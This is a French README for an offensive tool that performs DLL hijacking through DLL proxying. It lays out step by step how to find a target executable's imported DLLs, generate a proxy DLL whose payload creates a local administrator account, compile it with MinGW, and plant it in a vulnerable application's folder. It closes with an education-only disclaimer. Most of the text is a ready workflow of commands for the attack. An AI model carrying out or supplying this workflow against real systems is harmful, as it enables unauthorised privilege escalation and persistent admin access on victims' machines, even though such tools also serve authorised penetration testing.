Ce projet est un outil de DLL Hijacking utilisant la technique de DLL Proxifying.
https://sh0ckfr.com/pages/martine-a-la-recherche-de-la-dll-hijacking-perdue/ https://sh0ckfr.com/pages/martin-et-le-dll-proxying-de-cristal/
Il permet de générer rapidement une DLL malveillante qui exécutera du code (création d'un administrateur local)
- Identification des DLL importées par un exécutable cible.
- Sélection des DLL ayant le moins de fonctions exportées pour simplifier l'exploitation.
- Génération automatique d'une DLL malveillante basée sur un template.
- Python 3.x
- Modules Python :
pefile - Compilateur MinGW-w64 (pour générer les DLL et les exécutables).
pip install pefile
sudo apt install mingw-w64-
Analyse de l'exécutable :
python dllhijacker.py analyse --executable app.exe
Analyse terminée, maintenant cherche et récupère l'une de ces DLL (sur le système cible): - user32.dll - kernel32.dll - advapi32.dll -
Génération de la DLL malveillante :
python dllhijacker.py proxify --dllpath "C:\\Windows\\System32\\user32.dll" --dllimage user32.dll --template template.cCompilation :
x86_64-w64-mingw32-gcc -shared -o release/user32.dll release/user32.c -Wl,--subsystem,windows i686-w64-mingw32-gcc -shared -o release/user32.dll release/user32.c -Wl,--subsystem,windows
-
Exploitation : Placez
user32.dlldans le dossier de l'application vulnérable. -
Test : Modifiez le chemin dans
loader.c:sed 's/DLLTOTEST/release\/user32.dll/g' -i test/loader.cCompilez et exécutez le test :
x86_64-w64-mingw32-gcc -o test/loader.exe test/loader.c ./test/loader.exe
Une fois l'application vulnérable identifiée, récupérez l'exécutable à analyser.
Utilisez l'outil dllhijacker.py pour identifier les DLL susceptibles d'être exploitées :
python dllhijacker.py analyse --executable <chemin_de_l_executable>L'outil vous proposera les DLL ayant le moins de fonctions exportées, facilitant ainsi l'exploitation.
Une fois une DLL choisie parmi celles proposées :
- Utilisez la commande suivante pour générer une DLL malveillante :
python dllhijacker.py proxify --dllpath <chemin_absolu_de_la_DLL> --dllimage <nom_de_la_DLL> --template <chemin_du_template>
- L'outil générera un fichier source
.cet proposera des commandes pour compiler en 32 et 64 bits. Exemple pour 64 bits :Exemple pour 32 bits :x86_64-w64-mingw32-gcc -shared -o release/<nom_de_la_DLL>.dll release/<nom_de_la_DLL>.c -Wl,--subsystem,windows
i686-w64-mingw32-gcc -shared -o release/<nom_de_la_DLL>.dll release/<nom_de_la_DLL>.c -Wl,--subsystem,windows
Placez la DLL malveillante dans le dossier de l'application vulnérable, là où elle pourrait être recherchée par le binaire.
Pour vérifier que la DLL générée est correctement chargée par l'exécutable vulnérable, utilisez le fichier de test loader.c :
-
Modifiez le chemin de la DLL dans
loader.c:sed 's/DLLTOTEST/<chemin_de_la_DLL>/g' -i test/loader.c -
Compilez le fichier
loader.cen 64 bits :x86_64-w64-mingw32-gcc -o test/loader.exe test/loader.c
-
Compilez le fichier
loader.cen 32 bits :i686-w64-mingw32-gcc -o test/loader.exe test/loader.c -m32
-
Exécutez
loader.exepour tester le chargement de votre DLL.
- Cet outil est à des fins éducatives uniquement. Toute utilisation abusive est interdite.
- Assurez-vous d'avoir les permissions nécessaires pour tester cet outil sur des systèmes.
L'exploitation de vulnérabilités sans autorisation est illégale. Utilisez cet outil uniquement dans un cadre légal, comme des audits de sécurité ou des environnements de test autorisés.